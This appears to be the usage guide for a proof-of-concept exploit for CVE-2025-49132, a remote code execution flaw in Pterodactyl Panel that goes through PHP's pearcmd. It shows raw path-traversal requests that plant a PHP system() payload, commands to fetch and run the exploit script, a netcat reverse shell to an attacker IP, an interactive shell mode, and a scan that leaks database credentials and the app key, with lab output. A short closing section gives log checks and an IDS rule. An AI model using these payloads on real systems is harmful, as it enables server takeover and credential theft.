GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

pip3 install -r requirements.txt

pip3 install requests

python3 poc.py -H <target_host> -c "<command>"

# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

python3 poc.py -H <target_host> --shell

python3 poc.py -H <target_host> --fuzz

python3 poc.py -H <target_host> --scan

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

python3 poc.py -H <target_host> -c "id" -v

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Make sure your listener is running: nc -lvnp 4444

# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Found 3 potential PEAR installation(s):
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation

$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: ********
    Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
    App Key: base64{...}
    [!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132

# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)